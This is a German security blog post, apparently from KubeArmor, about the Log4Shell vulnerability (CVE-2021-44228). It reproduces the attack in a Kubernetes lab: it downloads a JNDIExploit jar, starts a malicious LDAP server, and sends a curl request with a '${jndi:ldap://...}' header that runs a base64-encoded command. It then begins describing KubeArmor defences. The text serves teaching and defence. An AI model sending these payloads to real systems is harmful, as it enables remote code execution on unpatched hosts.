Apache Log4j Zero Day alias Log4Shell alias CVE-2021-44228

Einleitung
Problem in der k8s-Umgebung nachstellen
- Einrichtung einer k8s-Umgebung mit der Sicherheitslücke
Mögliche Lösungen
- KubeArmor Sicherheitsrichtlinie
- Cilium Netzwerkrichtlinie
  - Einschränkung des Zugriffs auf RMI-Ports
Zukünftige Zero-Days verhindern
- Wie könnte eine Zero-Trust-Haltung den Missbrauch der log4j-Sicherheitslücke verhindern?
- KubeArmor und Zero Trust
Danksagungen

Einleitung

Am 9. Dezember 2021 wurde die Welt auf eine neue Sicherheitslücke aufmerksam, die als CVE-2021-44228 identifiziert wurde und das Apache-Java-Logging-Paket log4j betrifft. Diese Sicherheitslücke erhielt einen Schweregrad Score von 10.0 (die kritischste Einstufung) und ermöglicht eine triviale Remote-Codeausführung auf Hosts, die mit Software interagieren, die diese log4j-Version verwendet. „Log4Shell“ ist der Name, der diesem Angriff gegeben wurde.

Heute ist log4j Version 2.15.0rc2 verfügbar und schließt diese Sicherheitslücke. Die enorme Gefahr dieser Sicherheitslücke liegt jedoch darin, wie allgegenwärtig das Logging-Paket ist. Millionen von Anwendungen sowie Softwareanbieter verwenden dieses Paket als Abhängigkeit in ihrem eigenen Code.

Früheste bekannte Erkennung: 2021-12-01 04:36:50 UTC alt txt

Betroffene Versionen:

Log4j <= 2.14.1
Apache: 2.0 <= Apache log4j <= 2.14.1

Wer ist betroffen?

Auswirkung: Beliebige Codeausführung als der Benutzer, unter dem der übergeordnete Prozess läuft (Code aus dem öffentlichen Internet abgerufen, oder bereits auf dem System vorhandene lolbins, oder nur gemeinsame Geheimnisse oder Umgebungsvariablen abrufen und an den Angreifer zurücksenden).
Ziele: Server und Clients, die Java ausführen und mit dem log4j-Framework etwas protokollieren – hauptsächlich ein serverseitiges Problem, aber jeder anfällige Endpunkt könnte ein Ziel oder ein Drehpunkt sein.
Downstream-Projekte: Bis zum Beweis des Gegenteils ist davon auszugehen, dass alles, was log4j enthält – einschließlich Elasticsearch, Apache Struts / Solr / Druid / Flink usw. – auf eine Weise betroffen ist, die eine Eindämmung erfordert.
Betroffene Versionen: log4j 2.x bestätigt – log4j 1.x nur indirekt (frühere Sicherheitslücken zur Offenlegung von Informationen) (in einigen Konfigurationen)
Appliances: Vergessen Sie nicht Appliances, die möglicherweise Java-Serverkomponenten verwenden, aber durch nicht authentifizierte Schwachstellenscans nicht erkannt werden.
Log-Weiterleitung: Die Logging-Infrastruktur hat oft viele „nordwärts“ (sende meine Protokolle an jemanden) und „südwärts“ (empfange Protokolle von jemandem) weiterleitende/relayende Topologien. Auch deren Verkettung zur Ausnutzung muss berücksichtigt werden.
Cloud: Mehrere große Anbieter ebenfalls betroffen (Eine gemeinschaftlich kuratierte Liste von Software und Diensten, die für CVE-2021-44228 anfällig sind, finden Sie in diesem GitHub-Repo.

Problem in der k8s-Umgebung nachstellen

log4j Angriffsbaum

Einrichtung einer k8s-Umgebung mit der Sicherheitslücke

Schritt #1: Bereitstellen eines Pods mit zugehörigen Diensten, die anfällig für Log4j in Kubernetes sind

git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml

Um zu überprüfen, ob die Bereitstellung läuft, und um die externe IP zu erhalten, geben Sie den folgenden Befehl ein:

kubectl get po,svc

Sie sollten eine Ausgabe wie diese sehen können

NAME                              READY   STATUS    RESTARTS   AGE
pod/log4j-demo-5d7c84d8b9-vs8ck   1/1     Running   0          1h30m

NAME                 TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
service/kubernetes   ClusterIP      10.112.0.1     <none>          443/TCP        4h44m
service/log4j-svc    LoadBalancer   10.112.8.158   35.241.165.36   80:30202/TCP   1h30m

Bitte beachten Sie, dass wir die anfällige Log4Shell-Beispielanwendung im Namespace default bereitgestellt haben.

Schritt #2: Herunterladen des bösartigen LDAP-Servers

wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar

Schritt #3: Starten des LDAP-Servers für eingehenden Datenverkehr auf Ihrem PC oder Ihrer Cloud-VM

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888

Die private IP kann mit hostname -I abgefragt werden.
Stellen Sie sicher, dass Ihre Firewall Datenverkehr für die Ports 1389 und 8888 zulässt.

Schritt #4: Ausnutzung mit cURL-Befehl

# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Hier ist die erste IP unsere k8s-externe IP (Schritt #1), auf der die anfällige Beispielanwendung läuft.
Die zweite IP ist die externe IP des bösartigen LDAP-Servers (Schritt #2).

Schritt #5: Bestätigung durch Überprüfung der Erstellung der Datei /tmp/pwned

kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp

Ersetzen Sie log4j-demo-5d7c84d8b9-vs8ck durch Ihren Pod aus der Ausgabe von Schritt #1.
Sie sollten eine Datei mit dem Namen pwned im Verzeichnis /tmp sehen können.

Mögliche Lösungen

KubeArmor Sicherheitsrichtlinie

KubeArmor ist eine Runtime-Sicherheitsplattform, die Sicherheits-/DevSecOps-Teams dabei helfen kann, ihre Workloads mithilfe von anwendungs-/systembasierten Kontrollen (wie Einschränkung der Prozesserzeugung, Einschränkung des Dateisystemzugriffs, Einschränkung der Pod-Fähigkeiten usw.) zu schützen. KubeArmor hat einen Sichtbarkeitsmodus, mit dem das Anwendungs-/Sicherheitsteam die Sichtbarkeit aktivieren kann, um herauszufinden, was innerhalb der Pods passiert, d.h., welche Prozesse erzeugt werden, welche Dateizugriffe versucht werden usw. Der größte Vorteil von KubeArmor ist, dass Sie als Benutzer auch Richtlinien einreichen können, die solche Systemoperationen verhindern/blockieren/verweigern können.

log4j-CVE-2021-44228

Beliebteste